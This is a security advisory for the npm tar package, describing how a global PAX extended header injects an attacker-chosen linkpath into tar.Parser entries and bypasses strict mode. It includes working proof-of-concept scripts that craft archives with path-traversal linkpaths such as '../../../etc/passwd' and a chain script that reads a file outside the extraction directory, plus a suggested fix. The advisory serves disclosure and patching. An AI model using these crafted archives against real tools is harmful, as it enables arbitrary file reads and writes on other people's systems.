GHSA-FFHW-4R4Q-5CWV

Vulnerability from github – Published: 2026-12-02 01:25 – Updated: 2026-12-02 01:25
VLAI
Summary
node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation
Details

Summary

A tar archive with a Global Extended Header (PAX type g) with a linkpath field injects that value into every entry returned by tar.Parser , including plain File and Directory entries, with zero warnings under strict: true. This happens because header.js's #slurp() correctly excludes linkpath from global headers, but read-entry.js's #slurp() does not apply the same filter. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.


Details

There are two separate #slurp() implementations apply Global Extended Header (g-type) fields to parsed state, and they filter different fields.

In src/header.js, #slurp(ex, gex = false) correctly excludes linkpath when gex is true:

// header.js (correct)
if (k === 'linkpath' && gex) continue;

In src/read-entry.js, the equivalent method has no such clause — it only excludes path:

// read-entry.js (bug: linkpath is not excluded)
if (k === 'path' && gex) continue;
// linkpath from the GEX is not filtered here

The execution flow:

  1. parse.js calls Pax.parse(meta, gex, true) → stores the GEX object, including the linkpath field
  2. header.js decode runs #slurp(gex, true) → correctly skips linkpath → header.linkpath is empty
  3. consumeHeader() checks header.linkpath (empty) → the "linkpath forbidden in global header" warning never fires
  4. ReadEntry constructor runs this.#slurp(gex, true) → no linkpath filter → entry.linkpath is set to the attacker's value with no warning raised

Confirmed against tar@7.5.22:

  • node_modules/tar/dist/commonjs/read-entry.js lines 122–132 (buggy #slurp)
  • node_modules/tar/dist/commonjs/header.js lines 184–194 (correct #slurp)

Scope note: tar's own extraction engine (Unpack, used by tar.x() / tar.extract()) has a separate guard, STRIPABSOLUTEPATH, that resolves linkpath relative to the entry's directory and rejects it if it escapes cwd. This guard fires after ReadEntry is constructed and blocks the traversal at extraction time:

  • tar.x() / tar.extract() → not vulnerable (confirmed: throws TAR_ENTRY_ERROR: linkpath escapes extraction directory)
  • tar.Parser / tar.list() direct consumers that trust entry.linkpath → vulnerable

Proof of Concept

Environment: Node.js v22.23.4, tar@7.5.22. Run: npm install tar@7.5.22 && node <script>.js

poc-tar1.js — zero-warning injection via tar.Parser with strict: true

const tar = require('tar')

function padBlock(buf) {
  const rem = buf.length % 512
  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])
}
function mkHeader(fields) {
  const b = Buffer.alloc(512, 0)
  const ws = (s, off, len) =>
    b.write(String(s || '').slice(0, len).padEnd(len, '\0'), off, 'latin1')
  const wo = (n, off, len) =>
    ws(n.toString(8).padStart(len - 1, '0') + '\0', off, len)
  ws(fields.path  || 'file', 0,   100)
  wo(fields.mode  || 0o644,  100, 8)
  wo(0, 108, 8); wo(0, 116, 8)
  wo(fields.size  || 0,      124, 12)
  wo(Math.floor(Date.now() / 1000), 136, 12)
  b.write('        ', 148, 'latin1')
  ws(fields.type  || '0',    156, 1)
  ws(fields.linkpath || '',  157, 100)
  b.write('ustar\000', 257, 'latin1')
  b.write('00',        263, 'latin1')
  let sum = 0
  for (let i = 0; i < 512; i++) sum += b[i]
  wo(sum, 148, 8)
  return b
}
function mkGEX(kvpairs) {
  let body = ''
  for (const [k, v] of Object.entries(kvpairs)) {
    const keyval = ` ${k}=${v}\n`
    const len = String(keyval.length).length + keyval.length
    body += `${len} ${k}=${v}\n`
  }
  const bodyBuf = Buffer.from(body, 'utf8')
  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })
  return Buffer.concat([hdr, padBlock(bodyBuf)])
}

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../../etc/passwd' }),
  mkHeader({ path: 'README.md',    type: '0', size: 0 }),
  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),
  mkHeader({ path: 'package.json', type: '0', size: 0 }),
  Buffer.alloc(1024, 0),
])

const warnings = []
const parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })
parser.on('entry', entry => {
  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)
  entry.resume()
})
parser.on('end', () => {
  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)
})
parser.end(archive)

Expected output:

README.md    | File | linkpath: ../../../etc/passwd
src/index.js | File | linkpath: ../../../etc/passwd
package.json | File | linkpath: ../../../etc/passwd
warnings under strict:true: NONE

chain-tar1.js — arbitrary file read via a vulnerable downstream consumer

Models a tool that uses tar.Parser to inspect an archive and then acts on entry.linkpath without checking it:

const tar  = require('tar')
const fs   = require('fs')
const path = require('path')
const os   = require('os')

const tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))
const cwd    = path.join(tmpdir, 'extract')
const secret = path.join(tmpdir, 'secret.txt')
fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'db_password=hunter2\napi_key=sk-REAL\n')

// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../secret.txt' }),
  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),
  Buffer.alloc(1024, 0),
])

const parser = new tar.Parser()
parser.on('entry', entry => {
  if (entry.type === 'SymbolicLink') {
    const target   = entry.linkpath   // GEX-injected value
    const linkAt   = path.join(cwd, entry.path)
    fs.mkdirSync(path.dirname(linkAt), { recursive: true })
    fs.symlinkSync(target, linkAt)
    const resolved = path.resolve(path.dirname(linkAt), target)
    console.log('symlink:', linkAt, '->', target)
    console.log('escapes cwd:', !resolved.startsWith(cwd))
    if (fs.existsSync(resolved))
      console.log('READ:', fs.readFileSync(resolved, 'utf8'))
  }
  entry.resume()
})
parser.end(archive)

control-tar1-extraction-not-vulnerable.js — confirms tar.x() is not affected

The same archive fed to tar.x() throws TAR_ENTRY_ERROR: linkpath escapes extraction directory. The Unpack layer's STRIPABSOLUTEPATH guard blocks the traversal at extraction time.


Impact

CWE-20: Improper Input Validation CWE-345: Insufficient Verification of Data Authenticity

Impacted: any application or tool that uses tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths, create symlinks, or make routing decisions without checking that the value stays within the expected directory. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the Parser API. It also breaks strict: true, which is supposed to throw on dangerous archive contents.

Not impacted: applications that only use tar.x() / tar.extract() for extraction, because Unpack's STRIPABSOLUTEPATH guard rejects an escaping linkpath at that layer.

Impact on a vulnerable consumer is arbitrary file read and/or write outside the extraction directory via a crafted symlink.


Suggested Fix

One line in src/read-entry.ts, inside #slurp(), adding the same filter that already exists in src/header.ts:

// before (read-entry.ts)
return !(v === null || v === undefined || (k === 'path' && gex));

// after
return !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-140239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-12-02T01:25:07Z",
    "nvd_published_at": "2026-12-01T18:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA tar archive with a **Global Extended Header** (PAX type `g`) with a `linkpath` field injects that value into every entry returned by `tar.Parser` , including plain `File` and `Directory` entries, with **zero warnings under `strict: true`**. This happens because `header.js`\u0027s `#slurp()` correctly excludes `linkpath` from global headers, but `read-entry.js`\u0027s `#slurp()` does not apply the same filter. Any application that consumes `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.\n\n---\n\n## Details\n\nThere are two separate `#slurp()` implementations apply Global Extended Header (`g`-type) fields to parsed state, and they filter different fields.\n\nIn `src/header.js`, `#slurp(ex, gex = false)` **correctly** excludes `linkpath` when `gex` is `true`:\n\n```js\n// header.js (correct)\nif (k === \u0027linkpath\u0027 \u0026\u0026 gex) continue;\n```\n\nIn `src/read-entry.js`, the equivalent method has **no such clause** \u2014 it only excludes `path`:\n\n```js\n// read-entry.js (bug: linkpath is not excluded)\nif (k === \u0027path\u0027 \u0026\u0026 gex) continue;\n// linkpath from the GEX is not filtered here\n```\n\nThe execution flow:\n\n1. `parse.js` calls `Pax.parse(meta, gex, true)` \u2192 stores the GEX object, including the `linkpath` field\n2. `header.js` decode runs `#slurp(gex, true)` \u2192 correctly skips `linkpath` \u2192 `header.linkpath` is empty\n3. `consumeHeader()` checks `header.linkpath` (empty) \u2192 the `\"linkpath forbidden in global header\"` warning **never fires**\n4. `ReadEntry` constructor runs `this.#slurp(gex, true)` \u2192 no `linkpath` filter \u2192 **`entry.linkpath` is set to the attacker\u0027s value with no warning raised**\n\nConfirmed against `tar@7.5.22`:\n\n- `node_modules/tar/dist/commonjs/read-entry.js` lines 122\u2013132 (buggy `#slurp`)\n- `node_modules/tar/dist/commonjs/header.js` lines 184\u2013194 (correct `#slurp`)\n\n**Scope note:** `tar`\u0027s own extraction engine (`Unpack`, used by `tar.x()` / `tar.extract()`) has a separate guard, `STRIPABSOLUTEPATH`, that resolves `linkpath` relative to the entry\u0027s directory and rejects it if it escapes `cwd`. This guard fires **after** `ReadEntry` is constructed and blocks the traversal at extraction time:\n\n- `tar.x()` / `tar.extract()` \u2192 **not vulnerable** (confirmed: throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`)\n- `tar.Parser` / `tar.list()` direct consumers that trust `entry.linkpath` \u2192 **vulnerable**\n\n---\n\n## Proof of Concept\n\nEnvironment: Node.js v22.23.4, `tar@7.5.22`. Run: `npm install tar@7.5.22 \u0026\u0026 node \u003cscript\u003e.js`\n\n### poc-tar1.js \u2014 zero-warning injection via `tar.Parser` with `strict: true`\n\n```js\nconst tar = require(\u0027tar\u0027)\n\nfunction padBlock(buf) {\n  const rem = buf.length % 512\n  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])\n}\nfunction mkHeader(fields) {\n  const b = Buffer.alloc(512, 0)\n  const ws = (s, off, len) =\u003e\n    b.write(String(s || \u0027\u0027).slice(0, len).padEnd(len, \u0027\\0\u0027), off, \u0027latin1\u0027)\n  const wo = (n, off, len) =\u003e\n    ws(n.toString(8).padStart(len - 1, \u00270\u0027) + \u0027\\0\u0027, off, len)\n  ws(fields.path  || \u0027file\u0027, 0,   100)\n  wo(fields.mode  || 0o644,  100, 8)\n  wo(0, 108, 8); wo(0, 116, 8)\n  wo(fields.size  || 0,      124, 12)\n  wo(Math.floor(Date.now() / 1000), 136, 12)\n  b.write(\u0027        \u0027, 148, \u0027latin1\u0027)\n  ws(fields.type  || \u00270\u0027,    156, 1)\n  ws(fields.linkpath || \u0027\u0027,  157, 100)\n  b.write(\u0027ustar\\000\u0027, 257, \u0027latin1\u0027)\n  b.write(\u002700\u0027,        263, \u0027latin1\u0027)\n  let sum = 0\n  for (let i = 0; i \u003c 512; i++) sum += b[i]\n  wo(sum, 148, 8)\n  return b\n}\nfunction mkGEX(kvpairs) {\n  let body = \u0027\u0027\n  for (const [k, v] of Object.entries(kvpairs)) {\n    const keyval = ` ${k}=${v}\\n`\n    const len = String(keyval.length).length + keyval.length\n    body += `${len} ${k}=${v}\\n`\n  }\n  const bodyBuf = Buffer.from(body, \u0027utf8\u0027)\n  const hdr = mkHeader({ path: \u0027GlobalPaxHeader\u0027, size: bodyBuf.length, type: \u0027g\u0027 })\n  return Buffer.concat([hdr, padBlock(bodyBuf)])\n}\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: \u0027../../../etc/passwd\u0027 }),\n  mkHeader({ path: \u0027README.md\u0027,    type: \u00270\u0027, size: 0 }),\n  mkHeader({ path: \u0027src/index.js\u0027, type: \u00270\u0027, size: 0 }),\n  mkHeader({ path: \u0027package.json\u0027, type: \u00270\u0027, size: 0 }),\n  Buffer.alloc(1024, 0),\n])\n\nconst warnings = []\nconst parser = new tar.Parser({ strict: true, onwarn: (c, m) =\u003e warnings.push(m) })\nparser.on(\u0027entry\u0027, entry =\u003e {\n  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)\n  entry.resume()\n})\nparser.on(\u0027end\u0027, () =\u003e {\n  console.log(\u0027warnings under strict:true:\u0027, warnings.length === 0 ? \u0027NONE\u0027 : warnings)\n})\nparser.end(archive)\n```\n\n**Expected output:**\n\n```\nREADME.md    | File | linkpath: ../../../etc/passwd\nsrc/index.js | File | linkpath: ../../../etc/passwd\npackage.json | File | linkpath: ../../../etc/passwd\nwarnings under strict:true: NONE\n```\n\n### chain-tar1.js \u2014 arbitrary file read via a vulnerable downstream consumer\n\nModels a tool that uses `tar.Parser` to inspect an archive and then acts on `entry.linkpath` without checking it:\n\n```js\nconst tar  = require(\u0027tar\u0027)\nconst fs   = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst os   = require(\u0027os\u0027)\n\nconst tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), \u0027chain-\u0027))\nconst cwd    = path.join(tmpdir, \u0027extract\u0027)\nconst secret = path.join(tmpdir, \u0027secret.txt\u0027)\nfs.mkdirSync(cwd)\nfs.writeFileSync(secret, \u0027db_password=hunter2\\napi_key=sk-REAL\\n\u0027)\n\n// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: \u0027../../secret.txt\u0027 }),\n  mkHeader({ path: \u0027subdir/link\u0027, type: \u00272\u0027, linkpath: \u0027safe\u0027 }),\n  Buffer.alloc(1024, 0),\n])\n\nconst parser = new tar.Parser()\nparser.on(\u0027entry\u0027, entry =\u003e {\n  if (entry.type === \u0027SymbolicLink\u0027) {\n    const target   = entry.linkpath   // GEX-injected value\n    const linkAt   = path.join(cwd, entry.path)\n    fs.mkdirSync(path.dirname(linkAt), { recursive: true })\n    fs.symlinkSync(target, linkAt)\n    const resolved = path.resolve(path.dirname(linkAt), target)\n    console.log(\u0027symlink:\u0027, linkAt, \u0027-\u003e\u0027, target)\n    console.log(\u0027escapes cwd:\u0027, !resolved.startsWith(cwd))\n    if (fs.existsSync(resolved))\n      console.log(\u0027READ:\u0027, fs.readFileSync(resolved, \u0027utf8\u0027))\n  }\n  entry.resume()\n})\nparser.end(archive)\n```\n\n### control-tar1-extraction-not-vulnerable.js \u2014 confirms `tar.x()` is not affected\n\nThe same archive fed to `tar.x()` throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`. The `Unpack` layer\u0027s `STRIPABSOLUTEPATH` guard blocks the traversal at extraction time.\n\n---\n\n## Impact\n\n**CWE-20:** Improper Input Validation **CWE-345:** Insufficient Verification of Data Authenticity\n\nImpacted: any application or tool that uses `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build filesystem paths, create symlinks, or make routing decisions **without checking that the value stays within the expected directory**. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the `Parser` API. It also breaks `strict: true`, which is supposed to throw on dangerous archive contents.\n\nNot impacted: applications that only use `tar.x()` / `tar.extract()` for extraction, because `Unpack`\u0027s `STRIPABSOLUTEPATH` guard rejects an escaping `linkpath` at that layer.\n\nImpact on a vulnerable consumer is **arbitrary file read and/or write** outside the extraction directory via a crafted symlink.\n\n---\n\n## Suggested Fix\n\nOne line in `src/read-entry.ts`, inside `#slurp()`, adding the same filter that already exists in `src/header.ts`:\n\n```ts\n// before (read-entry.ts)\nreturn !(v === null || v === undefined || (k === \u0027path\u0027 \u0026\u0026 gex));\n\n// after\nreturn !(v === null || v === undefined || (k === \u0027path\u0027 \u0026\u0026 gex) || (k === \u0027linkpath\u0027 \u0026\u0026 gex));\n```",
  "id": "GHSA-ffhw-4r4q-5cwv",
  "modified": "2026-12-02T01:25:07Z",
  "published": "2026-12-02T01:25:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-ffhw-4r4q-5cwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.